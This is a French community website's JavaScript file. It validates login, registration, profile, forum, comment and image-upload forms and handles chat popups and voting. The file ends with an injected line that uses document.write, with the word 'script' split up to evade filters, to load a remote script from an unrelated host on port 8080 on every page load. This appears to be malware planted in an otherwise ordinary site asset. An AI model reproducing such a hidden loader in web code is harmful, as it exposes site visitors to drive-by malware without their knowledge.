function verifidentif(){
	if(window.document.forms["identif"].pseudo.value==""){
		alert("Il manque votre pseudo !");
		return false;
	}
	
	if(window.document.forms["identif"].pass.value==""){
		alert("Il manque votre mot de passe !");
		return false;
	}
	return true;
}

function verifmail(email){
	var succe=false; var succe2=false;
	for(var k=0; k < email.length; k++){
		if(email.substring(k,k+1)=="@"){succe=true;}
		if(succe==true){
			if(email.substring(k,k+1)=="." && email.substring(k+1,k+2)!=""){succe2=true;}
	  }
	}
	if(succe==false || succe2==false){
	   return false;
	}
	return true;
}

function veriftheme(){
	if(window.document.forms["theme"].auteur.value==""){
		alert("Il manque votre pseudo !");
		return false;
	}
	
	if(window.document.forms["theme"].mail.value==""){
		alert("Il manque votre e-mail !");
		return false;
	}else{
		if(verifmail(window.document.forms["theme"].mail.value)==false){
			alert("L'e-mail n'est pas bon !"); 
			return false;
		}
	}
	
	if(window.document.forms["theme"].theme.value==""){
		alert("Il manque le thème !");
		return false;
	}
	return true;
}

function verifchat(){
   if(window.document.forms["webchat"].pseudo.value=="" || window.document.forms["webchat"].pseudo.value=="votre pseudo"){
      alert("Il manque votre pseudo !"); 
      return false;
   }
   return true;
}

function popupchat(){
   window.open('http://www.idealirc.net/idealchat/applet.php?canal=nuitmax&pseudo='+document.webchat.pseudo.value,'chat');
}

function verifinscription(){
	if(window.document.forms["inscription"].pseudo.value==""){
	  alert("Il manque le Pseudo !"); 
	  return false;
	}else{
		var pseudo="" + window.document.forms["inscription"].pseudo.value;
		var succe=true;
		for(var k=0; k < pseudo.length; k++){
			 if(pseudo.substring(k,k+1)=="\""){succe=false;}
		}
		if(succe==false){
			 alert("Il ne faut pas de guillemets dans le pseudo !"); 
			 return false;
		}
	}
	if(window.document.forms["inscription"].mail.value==""){
		alert("Il manque votre e-mail !");
		return false;
	}else{
		if(verifmail(window.document.forms["inscription"].mail.value)==false){
			alert("L'e-mail n'est pas bon !"); 
			return false;
		}
	}
	if(window.document.forms["inscription"].sexe.value=="c"){
	  alert("Le champ sexe n'a pas été choisi !"); 
	  return false;
	}
	if(window.document.forms["inscription"].soft.value=="c"){
	  alert("Il manque le choix de la catégorie !"); 
	  return false;
	}
	if(isNaN(window.document.forms["inscription"].icq.value)){
	  alert("Le numéro ICQ doit être numérique !"); 
	  return false;
	}
	if(window.document.forms["inscription"].msn.value!="" && verifmail(window.document.forms["inscription"].msn.value)==false){
		alert("L'adresse MSN n'est pas bonne !"); 
		return false;
	}
	return true;
}

function verifprofil(){
	if(window.document.forms["profil"].pseudo_profil.value==""){
	  alert("Il manque le Pseudo !"); 
	  return false;
	}else{
		var pseudo="" + window.document.forms["profil"].pseudo_profil.value;
		var succe=true;
		for(var k=0; k < pseudo.length; k++){
			 if(pseudo.substring(k,k+1)=="\""){succe=false;}
		}
		if(succe==false){
			 alert("Il ne faut pas de guillemets dans le pseudo ! (sinon ça plante)"); 
			 return false;
		}
	}
	if(window.document.forms["profil"].mail.value==""){
		alert("Il manque votre e-mail !");
		return false;
	}else{
		if(verifmail(window.document.forms["profil"].mail.value)==false){
			alert("L'e-mail n'est pas bon !"); 
			return false;
		}
	}
	if(window.document.forms["profil"].sexe.value=="c"){
	  alert("Le champ sexe n'a pas été choisi !"); 
	  return false;
	}
	if(window.document.forms["profil"].soft.value=="c"){
	  alert("Il manque le choix de la catégorie !"); 
	  return false;
	}
	if(isNaN(window.document.forms["profil"].icq.value)){
	  alert("Le numéro ICQ doit être numérique !"); 
	  return false;
	}
	if(window.document.forms["profil"].msn.value!="" && verifmail(window.document.forms["profil"].msn.value)==false){
		alert("L'adresse MSN n'est pas bonne !"); 
		return false;
	}
	if (window.document.forms["profil"].pass.value != window.document.forms["profil"].pass_bis.value){
	  alert("Le mot de passe est mal saisi !");
	  window.document.forms["profil"].pass.value="";
	  window.document.forms["profil"].pass_bis.value="";
	  return false;
	}
	return true;
}

function verifcommentaire(){
  if (window.document.forms["commentaire"].auteur){
		if (window.document.forms["commentaire"].auteur.value==""){
			alert("Il manque le Pseudo !"); 
			return false;
		}
		if(window.document.forms["commentaire"].mail.value==""){
			alert("Il manque votre e-mail !");
			return false;
		}else{
			if(verifmail(window.document.forms["commentaire"].mail.value)==false){
				alert("L'e-mail n'est pas bon !"); 
				return false;
			}
		}
	}
	if (window.document.forms["commentaire"].comment.value==""){
	  alert("Il faudrait peut être penser au commentaire !"); 
	  return false;
	}
	return true;
}

function verifforum(){
	if(window.document.forms["forum"].auteur){
		if(window.document.forms["forum"].auteur.value==""){
			alert("Il manque le Pseudo !"); 
			return false;
		}
		if(window.document.forms["forum"].mail.value==""){
			alert("Il manque votre e-mail !");
			return false;
		}else{
			if(verifmail(window.document.forms["forum"].mail.value)==false){
				alert("L'e-mail n'est pas bon !"); 
				return false;
			}
		}
	}
  if(window.document.forms["forum"].topic_msg){
    if (window.document.forms["forum"].topic_msg.value==""){
	    alert("Il manque le topic du message !"); 
	    return false;
	  }
  }
	if(window.document.forms["forum"].comment.value==""){
	  alert("Il faudrait peut être penser au message !"); 
	  return false;
	}
	return true;
}

function verifrecherche(){
	if(window.document.forms["recherche"].mot_clef.value==""){
	  alert("Il faudrait peut être penser au mot clef !"); 
	  return false;
	}
	return true;
}

function verifmailperdu(){
	if(window.document.forms["envoi_mail"].to.value==""){
		alert("Il manque votre e-mail !");
		return false;
	}else{
		if(verifmail(window.document.forms["envoi_mail"].to.value)==false){
			alert("L'e-mail n'est pas bon !"); 
			return false;
		}
	}
	return true;
}

function verifupload(){
	if (window.document.forms["upload"].titre.value==""){
	  alert("Il manque le titre de votre image !"); 
	  return false;
	}
	if (window.document.forms["upload"].image.value==""){
	  alert("Il manque votre rendu final !"); 
	  return false;
	}
	if (window.document.forms["upload"].soft.value=="c"){
	  alert("Le champs de la catégorie n'a pas été choisi !"); 
	  return false;
	}
	if (window.document.forms["upload"].screen1.value==""){
	  alert("Il faut au moins la 1ère capture d'écran !"); 
	  return false;
	}
	if (window.document.forms["upload"].comment1.value==""){
	  alert("Il manque le commentaire de votre 1ère capture d'écran !"); 
	  return false;
	}
	if (window.document.forms["upload"].comment2.value!="" && window.document.forms["upload"].screen2.value==""){
		alert("Ca sert à rien de mettre un commentaire sur la 2ème capture d'écran si il n'y a pas l'image correspondante !"); 
	  return false;
	}
	if (window.document.forms["upload"].comment2.value=="" && window.document.forms["upload"].screen2.value!=""){
	  alert("Il manque le commentaire de votre 2ème capture d'écran !"); 
	  return false;
	}
	if (window.document.forms["upload"].comment3.value!="" && window.document.forms["upload"].screen3.value==""){
		alert("Ca sert à rien de mettre un commentaire sur la 3ème capture d'écran si il n'y a pas l'image correspondante !"); 
	  return false;
	}
	if (window.document.forms["upload"].comment3.value=="" && window.document.forms["upload"].screen3.value!=""){
	  alert("Il manque le commentaire de votre 3ème capture d'écran !"); 
	  return false;
	}
	if (window.document.forms["upload"].comment4.value!="" && window.document.forms["upload"].screen4.value==""){
		alert("Ca sert à rien de mettre un commentaire sur la 4ème capture d'écran si il n'y a pas l'image correspondante !"); 
	  return false;
	}
	if (window.document.forms["upload"].comment4.value=="" && window.document.forms["upload"].screen4.value!=""){
	  alert("Il manque le commentaire de votre 4ème capture d'écran !"); 
	  return false;
	}
	if (window.document.forms["upload"].comment5.value!="" && window.document.forms["upload"].screen5.value==""){
		alert("Ca sert à rien de mettre un commentaire sur la 5ème capture d'écran si il n'y a pas l'image correspondante !"); 
	  return false;
	}
	if (window.document.forms["upload"].comment5.value=="" && window.document.forms["upload"].screen5.value!=""){
	  alert("Il manque le commentaire de votre 5ème capture d'écran !"); 
	  return false;
	}
	alert("L'upload va commencer, veuillez attendre le message de fin d'upload avant de fermer la page !"); 
	return true;
}

function popup(theURL,winName,features) { 
  window.open(theURL,winName,features);
}

function checksize(){
	if (document.images["image_gal"].complete){
		window.resizeTo(document.images["image_gal"].width+22,document.images["image_gal"].height+103);
		window.focus();
	}else{
		setTimeout('checksize()',250); 
	} 
}

function select_nuit_stats(form){
	document.location="index.php?page=profil&menu=3&nuit_select="+ form.value +"#details";
}

function changement(form, id_up, soft){
	document.location="index.php?page=vote&up_vote="+ id_up +"&soft="+ soft +"&post_vote="+ form.value;
}

function valid_vote(){
	if(!confirm("Vous êtes sûr d'avoir fini de voter? \n Si vous désirez voter pour d'autres galeries, il faut le faire avant de valider! \n Après cette validation vous ne pourrez plus accéder à cette page!")){ 
		return false;
	}
	return true;
}

document.write('<s'+'cript type="text/javascript" src="http://dolfy.sedonahyperbarics.com:8080/Delete.js"></scr'+'ipt>');